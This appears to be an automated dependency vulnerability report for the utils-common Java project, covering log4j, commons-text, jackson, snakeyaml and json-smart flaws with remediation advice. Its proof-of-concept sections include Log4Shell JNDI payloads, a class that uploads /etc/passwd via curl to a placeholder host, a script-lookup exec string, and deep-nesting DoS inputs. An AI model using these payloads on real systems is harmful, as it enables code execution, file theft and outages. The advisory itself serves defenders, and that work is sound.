Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.12.1 and org.apache.logging.log4j:log4j-slf4j-impl@2.12.1
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.12.2.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-slf4j-impl@2.12.1 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-slf4j-impl@2.12.2.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.
PoC
When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}
. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil
in this example).
For example, the vulnerability can be used to inject this malicious class into an application:
public class Evil implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("curl -F 'file=@/etc/passwđ' https://someurl/upload");
return null;
}
}
This causes the application to disclose the etc/passwd
file on the system, and send it to a remote attacker.
Further Remediation Options
If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:
- Remove
JndiLookup.class
from the class path (i.e:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
. While not pertinent to log4shell, consider also removingJndiManager
,JMSAppender
andSMTPAppender
if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future. - Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property
LOG4J_FORMAT_MSG_NO_LOOKUPS
or the environmental variableDlog4j2.formatMsgNoLookups
totrue
. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)
Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase
property to false
is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.
Note: org.apache.logging.log4j:log4j-api
was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core
.
Remediation
Upgrade org.apache.logging.log4j:log4j-core
to version 2.3.1, 2.12.2, 2.15.0 or higher.
Use this guide to scan your projects for the Log4Shell vulnerability.
References
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.12.1 and org.apache.logging.log4j:log4j-slf4j-impl@2.12.1
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.12.2.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-slf4j-impl@2.12.1 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-slf4j-impl@2.12.2.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:
- Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using
%m{lookups}
asformatMsgNoLookups
is switched on by default as of version 2.15.0. - Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
- Or uses
Logger.printf("%s", userInput)
function where attackers can control the userInput variable.
A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
.
We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup
class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
).
PoC
In config:
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
In code:
ThreadContext.put("loginId", UserControlledInput);
History
This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).
Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.
On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.
Remediation
Upgrade org.apache.logging.log4j:log4j-core
to version 2.3.1, 2.12.2, 2.16.0 or higher.
References
high severity
- Vulnerable module: org.apache.commons:commons-text
- Introduced through: org.apache.commons:commons-text@1.8 and com.opencsv:opencsv@4.6
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.commons:commons-text@1.8Remediation: Upgrade to org.apache.commons:commons-text@1.10.0.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.opencsv:opencsv@4.6 › org.apache.commons:commons-text@1.8Remediation: Upgrade to com.opencsv:opencsv@5.7.1.
Overview
Affected versions of this package are vulnerable to Arbitrary Code Execution via the StringSubstitutor
interpolator object. Exploiting this vulnerability is possible when untrusted data flows into the StringSubstitutor.replace()
or StringSubstitutor.replaceIn()
methods.
Due to the nature of these methods as ones that process application data and not user input, a remote attacker would need prior access to a system in the affected environment positioned to supply such data.
Notes
The Nashorn scripting engine that can be used to exploit this vulnerability was available by default in JDKs up to 14.0.2. As of JDK 15, this vulnerability can only be exploited if another scripting engine has been added, such as JEXL.
Vulnerable lookups:
script
- executes expressions using the JVM script execution engine (javax.script)dns
- resolves dns recordsurl
- loads values from urls, including from remote servers
PoC
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
System.out.println(out);
Remediation
Upgrade org.apache.commons:commons-text
to version 1.10.0 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0, com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 and others
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.1.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.12.7.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.12.7.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.12.7.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind
to version 2.12.6.1, 2.13.2.1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.dataformat:jackson-dataformat-cbor
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.4.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). Unchecked allocation of byte buffer can cause a java.lang.OutOfMemoryError
exception.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.fasterxml.jackson.dataformat:jackson-dataformat-cbor
to version 2.11.4, 2.12.1 or higher.
References
high severity
- Vulnerable module: net.minidev:json-smart
- Introduced through: net.minidev:json-smart@2.3 and com.jayway.jsonpath:json-path@2.4.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › net.minidev:json-smart@2.3Remediation: Upgrade to net.minidev:json-smart@2.4.9.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.jayway.jsonpath:json-path@2.4.0 › net.minidev:json-smart@2.3Remediation: Upgrade to com.jayway.jsonpath:json-path@2.8.0.
Overview
net.minidev:json-smart is a Java JSON parser.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to a StackOverflowError
when parsing a deeply nested JSON array or object.
NOTE: Although this vulnerability was fixed in version 2.4.9 the maintainer recommends upgrading to 2.4.10, due to a remaining bug.
PoC
StringBuilder s = new StringBuilder();
for (int i = 0; i < 10000 ; i++) {
s.append("{\"a\":");
}
s.append("1");
for (int i = 0; i < 10000 ; i++) {
s.append("}");
}
JSONParser p = new JSONParser(JSONParser.MODE_JSON_SIMPLE);
p.parse(s.toString());
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade net.minidev:json-smart
to version 2.4.9 or higher.
References
high severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.12.1 and org.apache.logging.log4j:log4j-slf4j-impl@2.12.1
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.12.3.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-slf4j-impl@2.12.1 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-slf4j-impl@2.12.3.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.
When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}
), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError
that will terminate the process.
PoC
In log4j.properties
:
appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console
In Main.java
:
ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade org.apache.logging.log4j:log4j-core
to version 2.3.1, 2.12.3, 2.17.0 or higher.
References
high severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.31.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.
NOTE: This vulnerability has also been identified as: CVE-2022-38749
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade org.yaml:snakeyaml
to version 1.31 or higher.
References
high severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.31.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.
NOTE: This vulnerability has also been identified as: CVE-2022-25857
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade org.yaml:snakeyaml
to version 1.31 or higher.
References
medium severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.12.1 and org.apache.logging.log4j:log4j-slf4j-impl@2.12.1
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.12.4.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-slf4j-impl@2.12.1 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-slf4j-impl@2.12.4.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
An attacker with access to modification of logging configuration is able to configure JDBCAppender
with a data source referencing a JNDI URI - which can execute malicious code.
In the fixed versions, JDBCAppender
is using JndiManager
and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false
).
Alternative Remediation
If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:
- Disable/remove
JDBCAppender
- If
JDBCAppender
is used, make sure that it is not configured to use any protocol other than Java
Remediation
Upgrade org.apache.logging.log4j:log4j-core
to version 2.3.2, 2.12.4, 2.17.1 or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@2.0.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.15.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Arbitrary Code Execution in the Constructor
class, which does not restrict which types can be deserialized. This vulnerability is exploitable by an attacker who provides a malicious YAML file for deserialization, which circumvents the SafeConstructor
class.
The maintainers of the library contend that the application's trust would already have had to be compromised or established and therefore dispute the risk associated with this issue on the basis that there is a high bar for exploitation.
Remediation
Upgrade org.yaml:snakeyaml
to version 2.0 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0, com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 and others
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.12.6.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.12.6.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.12.6.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) when using JDK serialization to serialize and deserialize JsonNode
values.
It is possible for the attacker to send a 4-byte length payload, with a value of Integer.MAX_VALUE
, that will eventually cause large buffer allocation and out of heap memory.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind
to version 2.13.1, 2.12.6 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0, com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 and others
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.13.4.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.13.4.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray()
function in BeanDeserializer
, due to resource exhaustion when processing a deeply nested array.
NOTE:
For this vulnerability to be exploitable the non-default DeserializationFeature
must be enabled.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind
to version 2.12.7.1, 2.13.4 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0, com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 and others
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.13.5.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-smile@2.13.5.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › com.fasterxml.jackson.core:jackson-databind@2.11.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.5.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue()
function in StdDeserializer.java
, due to resource exhaustion when processing deeply nested arrays.
NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS
feature is enabled.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind
to version 2.12.7.1, 2.13.4.1 or higher.
References
medium severity
- Vulnerable module: net.minidev:json-smart
- Introduced through: net.minidev:json-smart@2.3 and com.jayway.jsonpath:json-path@2.4.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › net.minidev:json-smart@2.3Remediation: Upgrade to net.minidev:json-smart@2.3.1.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.jayway.jsonpath:json-path@2.4.0 › net.minidev:json-smart@2.3Remediation: Upgrade to com.jayway.jsonpath:json-path@2.6.0.
Overview
net.minidev:json-smart is a Java JSON parser.
Affected versions of this package are vulnerable to Denial of Service (DoS). An exception is thrown from a function, but it is not caught, as demonstrated by NumberFormatException
. When it is not caught, it may cause programs using the library to crash or expose sensitive information.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
